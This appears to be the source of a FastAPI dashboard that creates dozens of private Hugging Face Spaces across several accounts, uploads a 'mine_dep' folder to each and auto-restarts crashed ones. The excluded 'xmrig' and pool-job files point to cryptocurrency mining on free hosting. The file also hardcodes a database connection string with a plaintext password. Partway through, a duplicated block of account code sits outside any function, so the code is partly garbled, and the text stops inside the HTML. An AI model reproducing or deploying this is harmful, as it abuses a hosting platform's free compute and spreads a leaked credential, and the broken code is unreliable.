Spaces:
Sleeping
Sleeping
| #!/usr/bin/env python3 | |
| """ | |
| hf_spaces_status.py β HuggingFace Spaces Manager | |
| FastAPI web app to create, monitor, and manage HuggingFace Spaces for miners. | |
| """ | |
| import os | |
| import time | |
| import json | |
| import threading | |
| import requests | |
| from pathlib import Path | |
| from datetime import datetime, timezone | |
| from typing import Optional, Dict, List | |
| from contextlib import asynccontextmanager | |
| import uvicorn | |
| from fastapi import FastAPI, Request, BackgroundTasks | |
| from fastapi.responses import HTMLResponse, JSONResponse | |
| # ββ Constants βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| MINE_DIR = Path(__file__).parent / "mine_dep" | |
| DATABASE_URL = "postgresql://postgres.wqbxzautyxwsnxxhowfb:Lovyelias5584.@aws-1-eu-west-1.pooler.supabase.com:6543/postgres" | |
| UPLOAD_EXCLUDES = { | |
| "__pycache__", ".cache", "xmrig", "result.json", | |
| "pool_job.json", "xmrig_local_config.json", "Procfile", | |
| "railway.toml", ".railwayignore", | |
| } | |
| # ββ Shared State ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| state: Dict = { | |
| "accounts": [], # [{username, token}] | |
| "spaces": [], # [{id, username, name, status, prefix, ...}] | |
| "log": [], | |
| "monitor_running": False, | |
| "monitor_stop": False, | |
| "monitor_wakeup": threading.Event(), # signal to wake monitor early | |
| "creation_in_progress": False, | |
| } | |
| state_lock = threading.Lock() | |
| def _log(msg: str, level: str = "INFO"): | |
| entry = { | |
| "time": datetime.now(timezone.utc).isoformat(), | |
| "level": level, | |
| "msg": msg, | |
| } | |
| with state_lock: | |
| state["log"].append(entry) | |
| if len(state["log"]) > 600: | |
| state["log"] = state["log"][-600:] | |
| print(f"[{level}] {msg}", flush=True) | |
| # ββ HF API Helpers ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| def hf_headers(token: str) -> Dict: | |
| return {"Authorization": f"Bearer {token}"} | |
| def hf_create_space(username: str, token: str, space_name: str) -> Optional[Dict]: | |
| url = "https://huggingface.co/api/repos/create" | |
| payload = { | |
| "type": "space", "name": space_name, | |
| "private": True, "sdk": "docker", | |
| "hardware": "cpu-basic", | |
| } | |
| resp = requests.post(url, json=payload, headers=hf_headers(token), timeout=30) | |
| if resp.status_code in (200, 201): | |
| return resp.json() | |
| _log(f"Failed to create {username}/{space_name}: {resp.status_code} {resp.text[:200]}", "ERROR") | |
| return None | |
| def hf_upload_file(username, token, space_name, local_path, repo_path) -> bool: | |
| url = f"https://huggingface.co/api/spaces/{username}/{space_name}/upload/{repo_path}" | |
| try: | |
| with open(local_path, "rb") as f: | |
| content = f.read() | |
| resp = requests.post( | |
| url, | |
| headers={**hf_headers(token), "Content-Type": "application/octet-stream"}, | |
| data=content, timeout=60, | |
| ) | |
| return resp.status_code in (200, 201) | |
| except Exception as e: | |
| _log(f"Upload error for {repo_path}: {e}", "ERROR") | |
| return False | |
| def hf_set_secret(username, token, space_name, key, value) -> bool: | |
| url = f"https://huggingface.co/api/spaces/{username}/{space_name}/secrets" | |
| resp = requests.post(url, json={"key": key, "value": value}, | |
| headers=hf_headers(token), timeout=30) | |
| return resp.status_code in (200, 201, 204) | |
| def hf_get_runtime(space_id: str, token: str) -> Dict: | |
| url = f"https://huggingface.co/api/spaces/{space_id}/runtime" | |
| try: | |
| resp = requests.get(url, headers=hf_headers(token), timeout=15) | |
| if resp.status_code == 200: | |
| return resp.json() | |
| except Exception: | |
| pass | |
| return {} | |
| def hf_restart_space(space_id: str, token: str) -> bool: | |
| url = f"https://huggingface.co/api/spaces/{space_id}/restart" | |
| try: | |
| resp = requests.post(url, headers=hf_headers(token), timeout=30) | |
| return resp.status_code in (200, 201, 204) | |
| except Exception: | |
| return False | |
| def hf_list_spaces(username: str, token: str) -> List[Dict]: | |
| url = f"https://huggingface.co/api/spaces?author={username}&limit=200&full=true" | |
| try: | |
| resp = requests.get(url, headers=hf_headers(token), timeout=30) | |
| if resp.status_code == 200: | |
| return resp.json() | |
| except Exception: | |
| pass | |
| return [] | |
| def hf_delete_space(space_id: str, token: str) -> bool: | |
| url = "https://huggingface.co/api/repos/delete" | |
| space_name = space_id.split("/")[-1] | |
| payload = {"type": "space", "name": space_name} | |
| resp = requests.delete(url, json=payload, headers=hf_headers(token), timeout=30) | |
| if resp.status_code in (200, 201, 204): | |
| return True | |
| _log(f"Delete API Error for {space_id}: {resp.status_code} {resp.text[:200]}", "WARN") | |
| # Alternative endpoint | |
| if resp.status_code == 404: | |
| url2 = f"https://huggingface.co/api/spaces/{space_id}" | |
| resp2 = requests.delete(url2, headers=hf_headers(token), timeout=30) | |
| if resp2.status_code in (200, 201, 204): | |
| return True | |
| _log(f"Delete API Error 2 for {space_id}: {resp2.status_code} {resp2.text[:200]}", "WARN") | |
| return False | |
| # ββ Creation Worker βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| def create_spaces_worker(username: str, token: str, prefix: str, count: int): | |
| with state_lock: | |
| state["creation_in_progress"] = True | |
| existing = [a["username"] for a in state["accounts"]] | |
| if username not in existing: | |
| state["accounts"].append({"username": username, "token": token}) | |
| # We use HfApi for folder upload | |
| from huggingface_hub import HfApi | |
| api = HfApi(token=token) | |
| for i in range(1, count + 1): | |
| space_name = f"{prefix}{i}" | |
| space_id = f"{username}/{space_name}" | |
| _log(f"[{i}/{count}] Creating space: {space_id}") | |
| result = hf_create_space(username, token, space_name) | |
| if result is None: | |
| with state_lock: | |
| state["spaces"].append({ | |
| "id": space_id, "username": username, "name": space_name, | |
| "status": "CREATE_FAILED", "prefix": prefix, | |
| "created_at": datetime.now(timezone.utc).isoformat(), "error": "Creation failed", | |
| }) | |
| continue | |
| _log(f" β Space created: {space_id}") | |
| _log(f" β¬οΈ Uploading files from {MINE_DIR.name}/ to {space_id}...") | |
| try: | |
| api.upload_folder( | |
| folder_path=str(MINE_DIR), | |
| repo_id=space_id, | |
| repo_type="space", | |
| ignore_patterns=list(UPLOAD_EXCLUDES) + ["*.pyc"] | |
| ) | |
| _log(f" π Uploaded files successfully") | |
| ok_ct = len(list(MINE_DIR.glob("*"))) # just visual | |
| except Exception as e: | |
| _log(f" β Upload failed: {e}", "ERROR") | |
| ok_ct = 0 | |
| env_ok = hf_set_secret(username, token, space_name, "DATABASE_URL", DATABASE_URL) | |
| _log(f" {'π DATABASE_URL set' if env_ok else 'β οΈ Failed to set DATABASE_URL'} on {space_id}", | |
| "INFO" if env_ok else "WARN") | |
| with state_lock: | |
| state["spaces"].append({ | |
| "id": space_id, "username": username, "name": space_name, | |
| "status": "BUILDING", "prefix": prefix, | |
| "created_at": datetime.now(timezone.utc).isoformat(), | |
| "error": "", "files_uploaded": ok_ct, | |
| }) | |
| time.sleep(1) | |
| with state_lock: | |
| state["creation_in_progress"] = False | |
| _log(f"π Done creating {count} spaces with prefix '{prefix}'") | |
| # ββ Delete Worker βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| def delete_spaces_worker(username: str, token: str): | |
| """Delete ALL spaces for this account (both tracked and fetched from HF).""" | |
| _log(f"ποΈ Fetching all spaces for @{username} to delete...") | |
| remote_spaces = hf_list_spaces(username, token) | |
| remote_ids = [s["id"] for s in remote_spaces] | |
| _log(f" Found {len(remote_ids)} spaces on HuggingFace for @{username}") | |
| deleted = 0 | |
| failed = 0 | |
| for sid in remote_ids: | |
| ok = hf_delete_space(sid, token) | |
| if ok: | |
| _log(f" ποΈ Deleted {sid}") | |
| deleted += 1 | |
| else: | |
| _log(f" β Failed to delete {sid}", "WARN") | |
| failed += 1 | |
| # Remove from local state | |
| with state_lock: | |
| state["spaces"] = [s for s in state["spaces"] if s["id"] != sid] | |
| _log(f"β Deletion complete: {deleted} deleted, {failed} failed for @{username}") | |
| # ββ Monitor Worker ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| def _run_monitor_cycle(): | |
| """One scan cycle: fetch all spaces for all accounts, check runtimes, restart errors.""" | |
| with state_lock: | |
| accounts = list(state["accounts"]) | |
| if not accounts: | |
| return | |
| token_map = {a["username"]: a["token"] for a in accounts} | |
| _log(f"π Monitor scanning {len(accounts)} account(s)...") | |
| # For each account, pull ALL spaces from HF (not just ones we created) | |
| for acc in accounts: | |
| username = acc["username"] | |
| token = acc["token"] | |
| remote = hf_list_spaces(username, token) | |
| for rs in remote: | |
| sid = rs.get("id") or f"{username}/{rs.get('modelId','?')}" | |
| # Get runtime | |
| rt = hf_get_runtime(sid, token) | |
| stage = rt.get("stage", "UNKNOWN") | |
| error = rt.get("errorMessage", "") | |
| hw = rt.get("hardware", {}) | |
| hw_curr = hw.get("current", "?") if isinstance(hw, dict) else str(hw) | |
| # Upsert into state | |
| with state_lock: | |
| existing = next((i for i, s in enumerate(state["spaces"]) if s["id"] == sid), None) | |
| entry = { | |
| "id": sid, "username": username, | |
| "name": sid.split("/")[-1], | |
| "status": stage, "error": error, | |
| "hardware": hw_curr, | |
| "prefix": "", | |
| "last_checked": datetime.now(timezone.utc).isoformat(), | |
| } | |
| if existing is None: | |
| entry["created_at"] = datetime.now(timezone.utc).isoformat() | |
| state["spaces"].append(entry) | |
| else: | |
| # preserve creation info | |
| state["spaces"][existing].update({ | |
| "status": stage, "error": error, | |
| "hardware": hw_curr, | |
| "last_checked": entry["last_checked"], | |
| }) | |
| if stage == "RUNTIME_ERROR": | |
| _log(f" β {sid} β RUNTIME_ERROR β restarting...", "WARN") | |
| ok = hf_restart_space(sid, token) | |
| with state_lock: | |
| for s in state["spaces"]: | |
| if s["id"] == sid: | |
| s["status"] = "RESTARTING" if ok else "RESTART_FAILED" | |
| _log(f" {'β Restarted' if ok else 'β Restart failed'}: {sid}") | |
| def monitor_worker(): | |
| """Background: scan all accounts immediately, then loop every 5 min.""" | |
| _log("π Monitor thread started") | |
| with state_lock: | |
| state["monitor_running"] = True | |
| state["monitor_stop"] = False | |
| while True: | |
| with state_lock: | |
| if state["monitor_stop"]: | |
| break | |
| _run_monitor_cycle() | |
| # Wait up to 5 minutes but wake up early if signalled | |
| wakeup_event = state["monitor_wakeup"] | |
| wakeup_event.clear() | |
| wakeup_event.wait(timeout=300) # 5 min or wake signal | |
| with state_lock: | |
| if state["monitor_stop"]: | |
| break | |
| with state_lock: | |
| state["monitor_running"] = False | |
| _log("π Monitor thread stopped") | |
| _monitor_thread: Optional[threading.Thread] = None | |
| def ensure_monitor_running(): | |
| """Start monitor if not running.""" | |
| global _monitor_thread | |
| with state_lock: | |
| running = state["monitor_running"] | |
| if not running: | |
| with state_lock: | |
| state["monitor_stop"] = False | |
| _monitor_thread = threading.Thread(target=monitor_worker, daemon=True) | |
| _monitor_thread.start() | |
| def wake_monitor(): | |
| """Signal monitor to run a cycle immediately.""" | |
| state["monitor_wakeup"].set() | |
| # ββ FastAPI App βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| async def lifespan(app: FastAPI): | |
| global _monitor_thread | |
| _monitor_thread = threading.Thread(target=monitor_worker, daemon=True) | |
| _monitor_thread.start() | |
| yield | |
| with state_lock: | |
| state["monitor_stop"] = True | |
| wake_monitor() | |
| app = FastAPI(title="HF Spaces Manager", lifespan=lifespan) | |
| async def dashboard(): | |
| return HTMLResponse(content=get_html()) | |
| async def api_create(req: Request, background_tasks: BackgroundTasks): | |
| body = await req.json() | |
| username = body.get("username", "").strip() | |
| token = body.get("token", "").strip() | |
| prefix = body.get("prefix", "").strip() | |
| count = int(body.get("count", 20)) | |
| if not username or not token or not prefix: | |
| return JSONResponse({"ok": False, "error": "username, token and prefix are required"}, status_code=400) | |
| if count < 1 or count > 50: | |
| return JSONResponse({"ok": False, "error": "count must be 1-50"}, status_code=400) | |
| with state_lock: | |
| if state["creation_in_progress"]: | |
| return JSONResponse({"ok": False, "error": "Creation already in progress"}, status_code=409) | |
| background_tasks.add_task(create_spaces_worker, username, token, prefix, count) | |
| return JSONResponse({"ok": True, "msg": f"Creating {count} spaces with prefix '{prefix}'"}) | |
| async def api_add_account(req: Request): | |
| body = await req.json() | |
| username = body.get("username", "").strip() | |
| token = body.get("token", "").strip() | |
| if not username or not token: | |
| return JSONResponse({"ok": False, "error": "username and token are required"}, status_code=400) | |
| with state_lock: | |
| existing = [a["username"] for a in state["accounts"]] | |
| if username in existing: | |
| # Update token if changed | |
| for a in state["accounts"]: | |
| if a["username"] == username: | |
| a["token"] = token | |
| added = False | |
| else: | |
| state["accounts"].append({"username": username, "token": token}) | |
| added = True | |
| _log(f"{'Account added' if added else 'Account token updated'}: @{username}") | |
| # Immediately trigger a monitor scan to pick up all spaces for this account | |
| ensure_monitor_running() | |
| wake_monitor() | |
| return JSONResponse({"ok": True, "added": added}) | |
| async def api_accounts(): | |
| with state_lock: | |
| return JSONResponse([{"username": a["username"]} for a in state["accounts"]]) | |
| # ββ File Manager API ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| async def api_list_files(): | |
| """List all files in the mine_dep directory""" | |
| if not MINE_DIR.exists(): | |
| MINE_DIR.mkdir(parents=True, exist_ok=True) | |
| files = [] | |
| for f in MINE_DIR.rglob("*"): | |
| if f.is_file(): | |
| # Filter out ignored/hidden files | |
| rel_path = f.relative_to(MINE_DIR).as_posix() | |
| if any(part.startswith('.') for part in rel_path.split('/')) or rel_path in UPLOAD_EXCLUDES or '__pycache__' in rel_path: | |
| continue | |
| files.append(rel_path) | |
| return JSONResponse({"ok": True, "files": sorted(files)}) | |
| async def api_get_file(filename: str): | |
| """Read contents of a file in mine_dep""" | |
| target = (MINE_DIR / filename).resolve() | |
| if not str(target).startswith(str(MINE_DIR.resolve())): | |
| return JSONResponse({"ok": False, "error": "Invalid path"}, status_code=400) | |
| if not target.exists() or not target.is_file(): | |
| return JSONResponse({"ok": False, "error": "File not found"}, status_code=404) | |
| try: | |
| content = target.read_text(encoding="utf-8") | |
| return JSONResponse({"ok": True, "content": content}) | |
| except Exception as e: | |
| return JSONResponse({"ok": False, "error": str(e)}, status_code=500) | |
| async def api_save_file(filename: str, req: Request): | |
| """Create or update a file in mine_dep""" | |
| target = (MINE_DIR / filename).resolve() | |
| if not str(target).startswith(str(MINE_DIR.resolve())): | |
| return JSONResponse({"ok": False, "error": "Invalid path"}, status_code=400) | |
| body = await req.json() | |
| content = body.get("content", "") | |
| try: | |
| target.parent.mkdir(parents=True, exist_ok=True) | |
| target.write_text(content, encoding="utf-8") | |
| _log(f"πΎ File saved: {filename}") | |
| return JSONResponse({"ok": True, "msg": f"Saved {filename}"}) | |
| except Exception as e: | |
| return JSONResponse({"ok": False, "error": str(e)}, status_code=500) | |
| async def api_delete_file(filename: str): | |
| """Delete a file from mine_dep""" | |
| target = (MINE_DIR / filename).resolve() | |
| if not str(target).startswith(str(MINE_DIR.resolve())): | |
| return JSONResponse({"ok": False, "error": "Invalid path"}, status_code=400) | |
| if not target.exists() or not target.is_file(): | |
| return JSONResponse({"ok": False, "error": "File not found"}, status_code=404) | |
| try: | |
| target.unlink() | |
| _log(f"ποΈ File deleted: {filename}") | |
| return JSONResponse({"ok": True, "msg": f"Deleted {filename}"}) | |
| except Exception as e: | |
| return JSONResponse({"ok": False, "error": str(e)}, status_code=500) | |
| with state_lock: | |
| existing = [a["username"] for a in state["accounts"]] | |
| if username in existing: | |
| # Update token if changed | |
| for a in state["accounts"]: | |
| if a["username"] == username: | |
| a["token"] = token | |
| added = False | |
| else: | |
| state["accounts"].append({"username": username, "token": token}) | |
| added = True | |
| _log(f"{'Account added' if added else 'Account token updated'}: @{username}") | |
| # Immediately trigger a monitor scan to pick up all spaces for this account | |
| ensure_monitor_running() | |
| wake_monitor() | |
| return JSONResponse({"ok": True, "added": added}) | |
| async def api_accounts(): | |
| with state_lock: | |
| return JSONResponse([{"username": a["username"]} for a in state["accounts"]]) | |
| async def api_delete_spaces(req: Request, background_tasks: BackgroundTasks): | |
| """Delete all HF spaces for a given account (uses saved token by default).""" | |
| body = await req.json() | |
| username = body.get("username", "").strip() | |
| token = body.get("token", "").strip() | |
| # Try to use saved token if none provided | |
| if not token: | |
| with state_lock: | |
| for a in state["accounts"]: | |
| if a["username"] == username: | |
| token = a["token"] | |
| break | |
| if not username or not token: | |
| return JSONResponse({"ok": False, "error": "username required (token from saved account or provide manually)"}, status_code=400) | |
| background_tasks.add_task(delete_spaces_worker, username, token) | |
| return JSONResponse({"ok": True, "msg": f"Deletion started for @{username}"}) | |
| async def api_stats(): | |
| with state_lock: | |
| spaces = list(state["spaces"]) | |
| accounts = list(state["accounts"]) | |
| log = list(state["log"][-80:]) | |
| monitor = state["monitor_running"] | |
| creating = state["creation_in_progress"] | |
| running = sum(1 for s in spaces if s.get("status") == "RUNNING") | |
| building = sum(1 for s in spaces if s.get("status") in ("BUILDING", "APP_STARTING", "RESTARTING")) | |
| errors = sum(1 for s in spaces if "ERROR" in s.get("status", "")) | |
| sleeping = sum(1 for s in spaces if s.get("status") == "SLEEPING") | |
| return JSONResponse({ | |
| "accounts": len(accounts), | |
| "account_names": [a["username"] for a in accounts], | |
| "total_spaces": len(spaces), | |
| "running": running, "building": building, | |
| "error": errors, "sleeping": sleeping, | |
| "monitor_running": monitor, | |
| "creation_in_progress": creating, | |
| "spaces": spaces, | |
| "log": log, | |
| }) | |
| async def api_restart_space(space_id: str): | |
| with state_lock: | |
| accounts = list(state["accounts"]) | |
| spaces = list(state["spaces"]) | |
| username = space_id.split("/")[0] | |
| token_map = {a["username"]: a["token"] for a in accounts} | |
| token = token_map.get(username) | |
| if not token: | |
| return JSONResponse({"ok": False, "error": "No saved token for that account"}, status_code=404) | |
| ok = hf_restart_space(space_id, token) | |
| if ok: | |
| with state_lock: | |
| for s in state["spaces"]: | |
| if s["id"] == space_id: | |
| s["status"] = "RESTARTING" | |
| _log(f"Manual restart triggered: {space_id}") | |
| return JSONResponse({"ok": ok}) | |
| async def api_monitor_stop(): | |
| with state_lock: | |
| state["monitor_stop"] = True | |
| wake_monitor() | |
| return JSONResponse({"ok": True}) | |
| async def api_monitor_start(): | |
| ensure_monitor_running() | |
| wake_monitor() | |
| return JSONResponse({"ok": True}) | |
| async def api_scan_now(): | |
| ensure_monitor_running() | |
| wake_monitor() | |
| _log("π Instant scan triggered by user") | |
| return JSONResponse({"ok": True}) | |
| # ββ HTML UI βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| def get_html() -> str: | |
| return r"""<!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"/> | |
| <meta name="viewport" content="width=device-width,initial-scale=1.0"/> | |
| <title>HF Spaces Manager</title> | |
| <link rel="preconnect" href="https://fonts.googleapis.com"/> | |
| <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet"/> | |
| <style> | |
| :root { | |
| --bg:#080c14; --surface:#0e1623; --card:#111927; --border:#1e2d42; | |
| --accent:#3b82f6; --accent2:#8b5cf6; --green:#22c55e; --yellow:#eab308; | |
| --red:#ef4444; --orange:#f97316; --text:#e2e8f0; --muted:#64748b; --radius:12px; | |
| } | |
| *{margin:0;padding:0;box-sizing:border-box;} | |
| body{background:var(--bg);color:var(--text);font-family:'Inter',sans-serif;min-height:100vh;overflow-x:hidden;} | |
| body::before{content:'';position:fixed;inset:0;z-index:-1; | |
| background:radial-gradient(ellipse 80% 80% at 20% 10%,rgba(59,130,246,.07) 0%,transparent 60%), | |
| radial-gradient(ellipse 60% 60% at 80% 80%,rgba(139,92,246,.07) 0%,transparent 60%);} | |
| .app{display:grid;grid-template-columns:310px 1fr;grid-template-rows:auto 1fr;height:100vh;} | |
| header{ | |
| grid-column:1/-1;display:flex;align-items:center;gap:14px; | |
| padding:12px 20px;background:var(--surface);border-bottom:1px solid var(--border); | |
| } | |
| .logo{font-size:19px;font-weight:700;background:linear-gradient(135deg,#3b82f6,#8b5cf6);-webkit-background-clip:text;-webkit-text-fill-color:transparent;} | |
| .tagline{color:var(--muted);font-size:12px;} | |
| .header-right{margin-left:auto;display:flex;gap:10px;align-items:center;} | |
| .pill{padding:3px 10px;border-radius:999px;font-size:11px;font-weight:600;border:1px solid;display:flex;align-items:center;gap:5px;} | |
| .pill.green{color:var(--green);border-color:rgba(34,197,94,.3);background:rgba(34,197,94,.08);} | |
| .pill.blue{color:var(--accent);border-color:rgba(59,130,246,.3);background:rgba(59,130,246,.08);} | |
| .pill.yellow{color:var(--yellow);border-color:rgba(234,179,8,.3);background:rgba(234,179,8,.08);} | |
| .pill.red{color:var(--red);border-color:rgba(239,68,68,.3);background:rgba(239,68,68,.08);} | |
| .pill.purple{color:var(--accent2);border-color:rgba(139,92,246,.3);background:rgba(139,92,246,.08);} | |
| .dot{width:7px;height:7px;border-radius:50%;background:currentColor;} | |
| .dot.pulse{animation:pulse 1.8s ease-in-out infinite;} | |
| @keyframes pulse{0%,100%{opacity:1}50%{opacity:.3}} | |
| aside{ | |
| background:var(--surface);border-right:1px solid var(--border); | |
| padding:16px;overflow-y:auto;display:flex;flex-direction:column;gap:18px; | |
| } | |
| .section-title{font-size:10px;font-weight:700;text-transform:uppercase;letter-spacing:.1em;color:var(--muted);margin-bottom:8px;} | |
| .field{display:flex;flex-direction:column;gap:4px;} | |
| label{font-size:11px;font-weight:500;color:var(--muted);} | |
| input,select{ | |
| background:#0a111e;border:1px solid var(--border);color:var(--text); | |
| border-radius:8px;padding:8px 11px;font-size:12px;font-family:inherit;transition:border-color .2s; | |
| } | |
| input:focus,select:focus{outline:none;border-color:var(--accent);} | |
| input::placeholder{color:var(--muted);} | |
| .row{display:flex;gap:7px;} | |
| .row input{flex:1;} | |
| .btn{ | |
| padding:9px 14px;border-radius:8px;font-size:12px;font-weight:600; | |
| cursor:pointer;border:none;transition:all .2s;display:flex;align-items:center;justify-content:center;gap:7px; | |
| } | |
| .btn-primary{background:linear-gradient(135deg,#3b82f6,#2563eb);color:#fff;} | |
| .btn-primary:hover:not(:disabled){filter:brightness(1.15);transform:translateY(-1px);} | |
| .btn-primary:disabled{opacity:.45;cursor:not-allowed;} | |
| .btn-secondary{background:var(--card);color:var(--text);border:1px solid var(--border);} | |
| .btn-secondary:hover{border-color:var(--accent);} | |
| .btn-danger{background:rgba(239,68,68,.15);color:var(--red);border:1px solid rgba(239,68,68,.3);} | |
| .btn-danger:hover{background:rgba(239,68,68,.25);} | |
| .btn-sm{padding:4px 9px;font-size:11px;border-radius:6px;} | |
| .btn-warn{background:rgba(234,179,8,.15);color:var(--yellow);border:1px solid rgba(234,179,8,.3);} | |
| .btn-warn:hover{background:rgba(234,179,8,.25);} | |
| .accounts-list{display:flex;flex-direction:column;gap:5px;} | |
| .account-item{ | |
| background:var(--card);border:1px solid var(--border);border-radius:8px; | |
| padding:7px 10px;font-size:11px;display:flex;align-items:center;gap:7px; | |
| } | |
| .account-item .u{font-weight:600;color:var(--accent);flex:1;} | |
| .account-item .badge{font-size:9px;color:var(--muted);font-family:'JetBrains Mono',monospace;} | |
| /* Progress */ | |
| .prog-wrap{width:100%;background:var(--border);border-radius:4px;height:5px;overflow:hidden;display:none;margin-top:4px;} | |
| .prog-bar{height:100%;background:linear-gradient(90deg,#3b82f6,#8b5cf6);border-radius:4px;transition:width .4s;} | |
| main{display:flex;flex-direction:column;overflow:hidden;} | |
| .tabs{display:flex;border-bottom:1px solid var(--border);background:var(--surface);} | |
| .tab{padding:11px 18px;font-size:12px;font-weight:500;cursor:pointer;border-bottom:2px solid transparent;color:var(--muted);transition:all .2s;} | |
| .tab.active{color:var(--text);border-color:var(--accent);} | |
| .tab-content{flex:1;overflow:hidden;display:none;flex-direction:column;} | |
| .tab-content.active{display:flex;} | |
| .stats-grid{display:grid;grid-template-columns:repeat(5,1fr);gap:10px;padding:14px;} | |
| .stat-card{background:var(--card);border:1px solid var(--border);border-radius:var(--radius);padding:12px 14px;} | |
| .stat-label{font-size:10px;color:var(--muted);font-weight:600;text-transform:uppercase;letter-spacing:.05em;} | |
| .stat-value{font-size:26px;font-weight:700;line-height:1.1;margin-top:2px;} | |
| .stat-value.green{color:var(--green);} | |
| .stat-value.blue{color:var(--accent);} | |
| .stat-value.yellow{color:var(--yellow);} | |
| .stat-value.red{color:var(--red);} | |
| .stat-value.purple{color:var(--accent2);} | |
| .monitor-bar{display:flex;gap:8px;align-items:center;padding:8px 14px;border-bottom:1px solid var(--border);background:var(--surface);} | |
| .monitor-status{margin-left:auto;display:flex;align-items:center;gap:7px;font-size:11px;color:var(--muted);} | |
| .scroll-wrap{flex:1;overflow-y:auto;padding:0 14px 14px;} | |
| .spaces-header{ | |
| display:grid;grid-template-columns:2.2fr 1fr 130px 90px 70px;gap:8px; | |
| padding:7px 10px;font-size:10px;color:var(--muted);text-transform:uppercase;letter-spacing:.05em; | |
| border-bottom:1px solid var(--border);margin-bottom:3px;font-weight:700; | |
| } | |
| .space-row{ | |
| display:grid;grid-template-columns:2.2fr 1fr 130px 90px 70px;gap:8px; | |
| padding:9px 10px;border-radius:7px;font-size:11px;align-items:center; | |
| background:var(--card);border:1px solid var(--border);margin-bottom:3px;transition:all .15s; | |
| } | |
| .space-row:hover{border-color:var(--accent);background:#131f33;} | |
| .space-id{font-family:'JetBrains Mono',monospace;font-weight:500;color:var(--accent);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;} | |
| .space-hw{color:var(--muted);font-size:10px;} | |
| .status-badge{ | |
| display:inline-flex;align-items:center;gap:4px; | |
| padding:2px 7px;border-radius:4px;font-size:10px;font-weight:700; | |
| } | |
| .status-badge.RUNNING{background:rgba(34,197,94,.12);color:var(--green);} | |
| .status-badge.BUILDING,.status-badge.APP_STARTING{background:rgba(59,130,246,.12);color:var(--accent);} | |
| .status-badge.RESTARTING{background:rgba(234,179,8,.12);color:var(--yellow);} | |
| .status-badge.SLEEPING{background:rgba(100,116,139,.12);color:var(--muted);} | |
| .status-badge.RUNTIME_ERROR,.status-badge.CREATE_FAILED,.status-badge.RESTART_FAILED{background:rgba(239,68,68,.12);color:var(--red);} | |
| .status-badge.UNKNOWN{background:rgba(100,116,139,.12);color:var(--muted);} | |
| .restart-btn{ | |
| visibility:hidden;background:rgba(59,130,246,.15);color:var(--accent);border:none; | |
| border-radius:5px;padding:3px 7px;font-size:10px;cursor:pointer;font-weight:700; | |
| } | |
| .space-row:hover .restart-btn{visibility:visible;} | |
| .log-box{ | |
| flex:1;background:#060a11;border:1px solid var(--border);border-radius:9px; | |
| padding:10px;font-family:'JetBrains Mono',monospace;font-size:11px; | |
| line-height:1.7;overflow-y:auto; | |
| } | |
| .log-entry.INFO{color:#94a3b8;} | |
| .log-entry.WARN{color:var(--yellow);} | |
| .log-entry.ERROR{color:var(--red);} | |
| .log-time{color:#3b5068;margin-right:6px;} | |
| /* Delete section */ | |
| .del-section{background:rgba(239,68,68,.05);border:1px solid rgba(239,68,68,.2);border-radius:10px;padding:12px;} | |
| #toast{ | |
| position:fixed;bottom:20px;right:20px;background:#111927;border:1px solid var(--border); | |
| border-radius:9px;padding:10px 16px;font-size:12px;z-index:9999; | |
| opacity:0;transform:translateY(10px);transition:all .3s;pointer-events:none; | |
| } | |
| #toast.show{opacity:1;transform:translateY(0);} | |
| ::-webkit-scrollbar{width:5px;} | |
| ::-webkit-scrollbar-track{background:transparent;} | |
| ::-webkit-scrollbar-thumb{background:#1e2d42;border-radius:3px;} | |
| </style> | |
| </head> | |
| <body> | |
| <div class="app"> | |
| <!-- Header --> | |
| <header> | |
| <span class="logo">β‘ HF Spaces Manager</span> | |
| <span class="tagline">Deploy Β· Monitor Β· Auto-Restart</span> | |
| <div class="header-right"> | |
| <span class="pill blue"><span class="dot"></span><span id="h-accounts">0</span> Accounts</span> | |
| <span class="pill green"><span class="dot pulse"></span><span id="h-running">0</span> Running</span> | |
| <span class="pill purple"><span class="dot"></span><span id="h-total">0</span> Spaces</span> | |
| <span class="pill yellow" id="h-monitor-pill"><span class="dot pulse"></span>Monitor Active</span> | |
| </div> | |
| </header> | |
| <!-- Sidebar --> | |
| <aside> | |
| <!-- Create --> | |
| <div> | |
| <div class="section-title">π Create Spaces</div> | |
| <div style="display:flex;flex-direction:column;gap:9px;"> | |
| <div class="field"><label>HuggingFace Username</label><input id="f-username" placeholder="e.g. Eliasishere"/></div> | |
| <div class="field"><label>HF Token</label><input id="f-token" type="password" placeholder="hf_..."/></div> | |
| <div class="field"><label>Space Prefix (prefix + number)</label><input id="f-prefix" placeholder="e.g. ike β ike1, ike2..."/></div> | |
| <div class="field"> | |
| <label>Number of Spaces</label> | |
| <div class="row"> | |
| <input id="f-count" type="number" min="1" max="50" value="20"/> | |
| <button class="btn btn-primary" id="create-btn" onclick="createSpaces()">Create</button> | |
| </div> | |
| </div> | |
| <div class="prog-wrap" id="prog-wrap"><div class="prog-bar" id="prog-bar" style="width:0%"></div></div> | |
| </div> | |
| </div> | |
| <!-- Add Account --> | |
| <div> | |
| <div class="section-title">π€ Add / Update Account</div> | |
| <div style="display:flex;flex-direction:column;gap:9px;"> | |
| <div class="field"><label>Username</label><input id="a-username" placeholder="Username"/></div> | |
| <div class="field"><label>HF Token</label><input id="a-token" type="password" placeholder="hf_..."/></div> | |
| <button class="btn btn-secondary" style="width:100%" onclick="addAccount()">Save Account</button> | |
| </div> | |
| </div> | |
| <!-- Delete All Spaces --> | |
| <div class="del-section"> | |
| <div class="section-title">ποΈ Delete All Spaces</div> | |
| <div style="display:flex;flex-direction:column;gap:9px;"> | |
| <div class="field"> | |
| <label>Select Account</label> | |
| <select id="d-account"><option value="">β choose account β</option></select> | |
| </div> | |
| <div class="field"><label>Manual Token Override (optional)</label><input id="d-token" type="password" placeholder="leave empty to use saved"/></div> | |
